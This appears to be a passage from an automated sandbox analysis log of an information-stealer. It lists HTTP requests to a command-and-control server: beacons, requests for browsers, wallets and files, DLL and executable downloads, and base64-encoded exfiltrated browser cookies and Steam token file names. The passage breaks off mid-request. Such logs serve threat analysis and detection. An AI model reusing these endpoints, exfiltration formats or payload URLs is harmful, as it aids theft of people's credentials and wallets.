------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="mode"51------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="task_id"1253404------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="status"1------HDBGHDHCGHCAAKEBKECB--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEGHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 2d 2d 0d 0a Data Ascii: ------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="mode"6------KFIDAFBFBKFHJJKEHIEG--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 41 35 30 36 37 31 43 34 38 41 33 37 38 38 39 35 32 38 38 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 2d 2d 0d 0a Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="hwid"54A50671C48A3788952882------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="build"default------EGIDAAFIEHIEHJKFHCAE--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCAHost: cowod.hopto.orgContent-Length: 3181Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDAFIEHIEGDHIDGDGHDHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 2d 2d 0d 0a Data Ascii: ------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="message"browsers------HJDAFIEHIEGDHIDGDGHD--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIDGDBGCAAFIDHIJKEHHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 2d 2d 0d 0a Data Ascii: ------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="message"plugins------AFIDGDBGCAAFIDHIJKEH--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDGHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="message"fplugins------BKJEGDGIJECGCBGCGHDG--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKEGCAEGIIJKFIEHIJEHost: 46.8.231.109Content-Length: 7787Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIEHost: 46.8.231.109Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 2d 2d 0d 0a Data Ascii: ------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIDGDBGCAAFIDHIJKEHHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 2d 2d 0d 0a Data Ascii: ------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="file"------AFIDGDBGCAAFIDHIJKEH--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 2d 2d 0d 0a Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file"------EHJKFCGHIDHCBGDHJKEB--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEGHJEGHJKFIEBFHJKKHost: 46.8.231.109Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBFHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="message"wallets------KJKFBAFIDAEBFHJKJEBF--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJEHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="message"files------FIDAFIEBFCBKFHIDHIJE--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFHHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="file"------CAFIEBKKJJDAKFHIDBFH--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHIHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="message"ybncbhylepme------HJEHIJEBKEBFBFHIIDHI--
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2afc5abea_vasd.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2b049020f_ldnf.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 